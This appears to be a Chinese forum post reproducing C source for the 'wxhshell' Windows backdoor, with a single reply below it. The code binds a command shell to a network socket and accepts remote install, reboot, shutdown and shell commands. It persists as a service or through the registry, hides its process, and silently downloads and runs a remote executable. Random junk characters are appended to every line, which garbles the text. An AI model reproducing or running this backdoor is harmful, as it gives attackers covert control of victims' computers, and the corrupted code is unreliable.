  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iy\ 6e k1  
  } ruQ1Cph  
  else { RO+N>Wkt  
HJeZm  
    switch(cmd[0]) { eQqx0+-0c  
  w[X/|O  
  // 帮助 qmx4hs8sh  
  case '?': { s/0S]P]}f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DYFfq  
    break; #XPY\n^k  
  } 7dbGUbT  
  // 安装 ?(d<n   
  case 'i': { oi:!YVc  
    if(Install()) NP^j5|A*"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oq3]ZUVa  
    else KJ;;825?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `}Z`aK  
    break; +<o}@hefY2  
    } >q7/zl  
  // 卸载 mxfmK +'_  
  case 'r': { \hr2#!  
    if(Uninstall()) E +!A0!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kI|7o>}<   
    else M4`. [P4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + #V.6i  
    break; r?j2%M\  
    } &<RK=e'*x  
  // 显示 wxhshell 所在路径 1rLK1X  
  case 'p': { >j$y@"+  
    char svExeFile[MAX_PATH]; "|KhqV=?v  
    strcpy(svExeFile,"\n\r"); (AI 4a+  
      strcat(svExeFile,ExeFile); iu+r=s p  
        send(wsh,svExeFile,strlen(svExeFile),0); z+(V2?xcvt  
    break; J70r`   
    } .L#U^H|  
  // 重启 iVe"iH  
  case 'b': { ?|NMJ Qsa7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GI _.[  
    if(Boot(REBOOT)) }s++^uX6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6I!B>V#U+  
    else { g/f^|:  
    closesocket(wsh); R Q2DTQ-$  
    ExitThread(0); 3JJEj1O  
    } @zGz8IF  
    break; =)mA.j}E2  
    } *'ffMnSZ  
  // 关机 1@W*fVn  
  case 'd': { vnS;T+NZSC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?)V?6"fFP  
    if(Boot(SHUTDOWN)) e=u?-8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O=;}VZ<9  
    else { f5o##ia7:  
    closesocket(wsh); ;\48Q;  
    ExitThread(0); 0wnC"2GUX  
    } e WWtMnq  
    break; F+ Q(^Nk  
    } vg;9"A!(  
  // 获取shell %("WoBPH`  
  case 's': { Q8  
    CmdShell(wsh); VteMsL/H  
    closesocket(wsh); ~lH_d[  
    ExitThread(0); *1c1XN<7  
    break; uP NZ^lM  
  } Mv\]uAT`  
  // 退出 'S#D+oF(1~  
  case 'x': { s9F{UN3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #L`'<ge'g*  
    CloseIt(wsh); R.P|gk  
    break;  O3~7  
    } (JdZl2A.  
  // 离开 ~U$ioQy<  
  case 'q': { >\4"k4d}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >#[,OU}N  
    closesocket(wsh); EaN1xb(DYa  
    WSACleanup(); y1OpZ  
    exit(1); ]Mb:zs<r  
    break; @aY>pr5!  
        } 'Hv=\p4$1  
  } Z%$ tV3a?  
  } wzf%~ats  
ffI z>Of:  
  // 提示信息 m4x8W2q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ni~1)"U.  
} %Rm`+  
  } <:ptNGR  
B x-"<^<  
  return; zTS P8Q7  
} w 21g&  
CX3yIe~u  
// shell模块句柄 :J;&Z{  
int CmdShell(SOCKET sock) \w@V7~vA  
{ XpIl-o&re  
STARTUPINFO si; /ei(Q'pc[  
ZeroMemory(&si,sizeof(si)); 6xiCTs0@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O 4C}]E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \$W\[s4I  
PROCESS_INFORMATION ProcessInfo; qW 2'?B3<  
char cmdline[]="cmd"; /7LAd_P6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +[Bl@RHe^  
  return 0; $iMbtA5a Q  
} EK2mJCC|  
Aq;WQyZ2  
// 自身启动模式 'y%*W:O  
int StartFromService(void) sg%Ptp  
{ N:~CN1  
typedef struct SL 5QhP  
{ `"h[Xb#A`b  
  DWORD ExitStatus; we&D"V  
  DWORD PebBaseAddress; cH6<'W{*  
  DWORD AffinityMask; +<rWYF(ii/  
  DWORD BasePriority; Gc,6;!+(  
  ULONG UniqueProcessId; Ex -?[Hq  
  ULONG InheritedFromUniqueProcessId; 1+v!)Y>Z&  
}   PROCESS_BASIC_INFORMATION; H$rNT/C  
N}CeQ'l[R  
PROCNTQSIP NtQueryInformationProcess; .1YiNmW=  
Jk} Dj0o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D* QZR;D#.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k] iyx  
s`I]>e  
  HANDLE             hProcess; R "qt}4m  
  PROCESS_BASIC_INFORMATION pbi; cm17hPe`}n  
e N^6gub  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K9QC$b9(  
  if(NULL == hInst ) return 0; WPDi)U X  
;D|g5$OE&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lq]t6o ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LO@o`JF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bzyy;`;6Q~  
6<Txkk  
  if (!NtQueryInformationProcess) return 0; a/TeBx#yG  
A@ZsL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '#NDR:J"  
  if(!hProcess) return 0; 2bAH)=  
W *~[KdgC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o2R&s@%0@B  
v{;^>"5o  
  CloseHandle(hProcess); P2 fiK  
Kr%w"$<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J936o3F_  
if(hProcess==NULL) return 0; Aa}Nr5{O|  
k]=lo'bF4  
HMODULE hMod; =^mBj?(V7  
char procName[255]; :!L>_ f  
unsigned long cbNeeded; )QW p[bV  
ZmAo9>'Kg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @n^2UJ  
[! Zyp`:  
  CloseHandle(hProcess); !`0 El',gY  
9w.ZXd  
if(strstr(procName,"services")) return 1; // 以服务启动 Q?V'3ZZF!  
tqXCj}mR  
  return 0; // 注册表启动 >~*}9y0$  
} v~:'t\n  
E_-g<Cw  
// 主模块 z<OfSS_]R  
int StartWxhshell(LPSTR lpCmdLine) GQ6~Si2  
{ FZ5 Ad&".@  
  SOCKET wsl; ~n;U5hcB  
BOOL val=TRUE; O"9Or3w  
  int port=0; 5 51p* B2  
  struct sockaddr_in door; Y*0j/91  
6kHuKxY,  
  if(wscfg.ws_autoins) Install(); -\~HAnh  
~; vt{pk  
port=atoi(lpCmdLine); IVso/!   
$f AZ^   
if(port<=0) port=wscfg.ws_port; :aR_f`KMm  
k-I U}|Xz  
  WSADATA data; \[<8AV"E-'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n'8 3P%x  
h3j`X'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GP0}I@>?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $_O;yz  
  door.sin_family = AF_INET; 0?*":o30  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C&f{LpB`  
  door.sin_port = htons(port); OZ4%6/  
`>u^Pm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oT i$@q  
closesocket(wsl); ?0?+~0sI  
return 1; ^?S lM  
} thSXri?kl  
V|)nU sU  
  if(listen(wsl,2) == INVALID_SOCKET) { Y2W{?<99  
closesocket(wsl); #B5-3CwB  
return 1; ONMR2J(  
} I]Ws   
  Wxhshell(wsl); (l}nwyh5  
  WSACleanup(); #&sn l  
l4AXjq2  
return 0; WO=P~F<  
z_%}F':  
} / mwsF]Y  
J<MuWgx&  
// 以NT服务方式启动 -IS$1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !SThK8j$7  
{ $|VD+[jSV  
DWORD   status = 0; '5\?l:z  
  DWORD   specificError = 0xfffffff; =\g K<Xh  
^C~t)U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;aDYw [  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?i$MinK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @=qWwt4~  
  serviceStatus.dwWin32ExitCode     = 0; K~A@>~vFb  
  serviceStatus.dwServiceSpecificExitCode = 0; %<\tN^rP  
  serviceStatus.dwCheckPoint       = 0; /2Bf6  
  serviceStatus.dwWaitHint       = 0; #YK=e&da  
"@L|Z6U(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T1c& 3  
  if (hServiceStatusHandle==0) return; ggUw4w/e  
w_*$w Vl  
status = GetLastError(); &{S@v9~IT  
  if (status!=NO_ERROR) |`O210B@  
{ EO\- J-nM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & sgzSX  
    serviceStatus.dwCheckPoint       = 0; QJ,~K&?  
    serviceStatus.dwWaitHint       = 0; 0}- MWbG  
    serviceStatus.dwWin32ExitCode     = status; RY]jY | E  
    serviceStatus.dwServiceSpecificExitCode = specificError; q U^`fIa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' pfkbmJ  
    return; },,K6*P  
  } }@vf=jm>  
NW~`oc)NS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .e|\Bf0P  
  serviceStatus.dwCheckPoint       = 0; UQq Qim  
  serviceStatus.dwWaitHint       = 0; 6t'vzcQs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R]NCD*~  
} KP CZiu7  
%Vhj<gN  
// 处理NT服务事件,比如:启动、停止 Thuwme  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9G)fJr  
{ .=@CF8ArG  
switch(fdwControl) &Y-jK<  
{ *a'I  
case SERVICE_CONTROL_STOP: G!U `8R  
  serviceStatus.dwWin32ExitCode = 0; ad`7[fI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =z#j9'n$@  
  serviceStatus.dwCheckPoint   = 0; g3c,x kaO  
  serviceStatus.dwWaitHint     = 0; Z@bKYfGM  
  { )| F O>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A[H"(E#k  
  } @VnK/5opS  
  return; rhC x&L  
case SERVICE_CONTROL_PAUSE: 2[1lwV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0>yu Bgh  
  break; 89ab?H}/  
case SERVICE_CONTROL_CONTINUE: G3gEL)b*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wcL|{rUXba  
  break; n8o(>?Kw  
case SERVICE_CONTROL_INTERROGATE: e84O 6K6o  
  break; ^F87gow%`B  
}; G`z=qaj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' [%?j?2r  
} ( c +M"s  
F+/#ugI  
// 标准应用程序主函数 )@6iQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w5q'M  
{ FLQ>,=O  
_.5AB E  
// 获取操作系统版本  dQI6.$?  
OsIsNt=GetOsVer(); moE!~IroG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R?8/qGSVqJ  
nQd~i0`vB  
  // 从命令行安装 gqDSHFm:  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZQ[s/  
S{UEV7d:n0  
  // 下载执行文件 M+WN\.2pX  
if(wscfg.ws_downexe) { c> ":g~w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R RnT.MU  
  WinExec(wscfg.ws_filenam,SW_HIDE); yAu .=Eo7  
} +z+u=)I  
F<(?N!C?@  
if(!OsIsNt) { 34t[]v|LD  
// 如果时win9x,隐藏进程并且设置为注册表启动 66HxwY3a  
HideProc(); Nh+XlgXG  
StartWxhshell(lpCmdLine); ~;I'.TW  
} 8xYeaK  
else %Ktlez:S  
  if(StartFromService()) ]?s^{  
  // 以服务方式启动 s:^Xtox /  
  StartServiceCtrlDispatcher(DispatchTable); g4GU28l  
else N.-*ig.YR7  
  // 普通方式启动 Zi.w+V  
  StartWxhshell(lpCmdLine); [~k!wipK  
8\m[Nuq5  
return 0; BHDd^bd  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八